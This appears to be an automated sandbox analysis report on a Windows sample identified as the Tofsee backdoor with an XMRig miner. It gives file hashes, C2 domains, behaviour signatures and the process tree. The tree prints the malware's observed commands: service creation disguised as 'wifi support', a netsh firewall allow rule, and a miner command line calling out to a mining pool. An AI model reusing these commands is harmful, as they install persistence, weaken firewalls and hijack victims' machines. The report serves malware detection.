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Analysis

  • max time kernel
    145s
  • max time network
    147s
  • platform
    windows7_x64
  • resource
    win7-20220901-en
  • resource tags

    arch:x64arch:x86image:win7-20220901-enlocale:en-usos:windows7-x64system
  • submitted
    19/12/2022, 00:46

General

  • Target

    file.exe

  • Size

    215KB

  • MD5

    cf288041eb39475dbd6cd227c263fc0e

  • SHA1

    fd4d23c2f6f6ebe0a7c14388e6edac232ba6b402

  • SHA256

    55a54a659c8184d1f2649593c5905e43f21750d96a7fa97a1f6a8a6e11cf9253

  • SHA512

    e1efa58c1276e5e9334deda1e534c881e62aded89e64a94e9b5552e9754dd3558c3555148a1b3c89db2cd87093163afb166bd08cdbd0b122f3f7e03c93b527c7

  • SSDEEP

    6144:0V/VLXz3lgJiE+z1GOTA9VKy70JVejcbXF:0VNzzlgd21G6Mgi0J4YbXF

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1816
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\jgryxwlc\
      2⤵
        PID:268
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\xqnvmfzw.exe" C:\Windows\SysWOW64\jgryxwlc\
        2⤵
          PID:1472
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create jgryxwlc binPath= "C:\Windows\SysWOW64\jgryxwlc\xqnvmfzw.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1152
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description jgryxwlc "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1764
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start jgryxwlc
          2⤵
          • Launches sc.exe
          PID:588
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2028
      • C:\Windows\SysWOW64\jgryxwlc\xqnvmfzw.exe
        C:\Windows\SysWOW64\jgryxwlc\xqnvmfzw.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1784
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1176
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1612

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\xqnvmfzw.exe

        Filesize

        12.3MB

        MD5

        d67d66081dc22741d4fe5d182f18d92b

        SHA1

        8150a110f6e4c8538402d0ab39f84ae1490c4493

        SHA256

        e2fde7edcd31d13f7cacd7323442303228a672886ae7da3c39ec00aa525fadda

        SHA512

        e4fb4e88fd12a3b6cdeaac7c92c557a7cdff6d97861aefebb6da7bc76776ad3f53e66ffd8963438042b8d34119445ac4f3864ec4b4cfc804e0229039887bd7c5

      • C:\Windows\SysWOW64\jgryxwlc\xqnvmfzw.exe

        Filesize

        12.3MB

        MD5

        d67d66081dc22741d4fe5d182f18d92b

        SHA1

        8150a110f6e4c8538402d0ab39f84ae1490c4493

        SHA256

        e2fde7edcd31d13f7cacd7323442303228a672886ae7da3c39ec00aa525fadda

        SHA512

        e4fb4e88fd12a3b6cdeaac7c92c557a7cdff6d97861aefebb6da7bc76776ad3f53e66ffd8963438042b8d34119445ac4f3864ec4b4cfc804e0229039887bd7c5

      • memory/1176-70-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/1176-92-0x00000000054A0000-0x00000000058AB000-memory.dmp

        Filesize

        4.0MB

      • memory/1176-107-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/1176-95-0x0000000000150000-0x0000000000157000-memory.dmp

        Filesize

        28KB

      • memory/1176-89-0x0000000000140000-0x0000000000145000-memory.dmp

        Filesize

        20KB

      • memory/1176-86-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/1176-83-0x0000000000110000-0x0000000000116000-memory.dmp

        Filesize

        24KB

      • memory/1176-80-0x0000000001910000-0x0000000001B1F000-memory.dmp

        Filesize

        2.1MB

      • memory/1176-79-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/1176-72-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/1612-100-0x0000000000140000-0x0000000000231000-memory.dmp

        Filesize

        964KB

      • memory/1612-98-0x0000000000140000-0x0000000000231000-memory.dmp

        Filesize

        964KB

      • memory/1784-74-0x00000000005DB000-0x00000000005EC000-memory.dmp

        Filesize

        68KB

      • memory/1784-76-0x0000000000400000-0x000000000045D000-memory.dmp

        Filesize

        372KB

      • memory/1816-66-0x00000000002CB000-0x00000000002DC000-memory.dmp

        Filesize

        68KB

      • memory/1816-57-0x00000000001C0000-0x00000000001D3000-memory.dmp

        Filesize

        76KB

      • memory/1816-56-0x00000000002CB000-0x00000000002DC000-memory.dmp

        Filesize

        68KB

      • memory/1816-67-0x0000000000400000-0x000000000045D000-memory.dmp

        Filesize

        372KB

      • memory/1816-54-0x0000000075AC1000-0x0000000075AC3000-memory.dmp

        Filesize

        8KB

      • memory/1816-58-0x0000000000400000-0x000000000045D000-memory.dmp

        Filesize

        372KB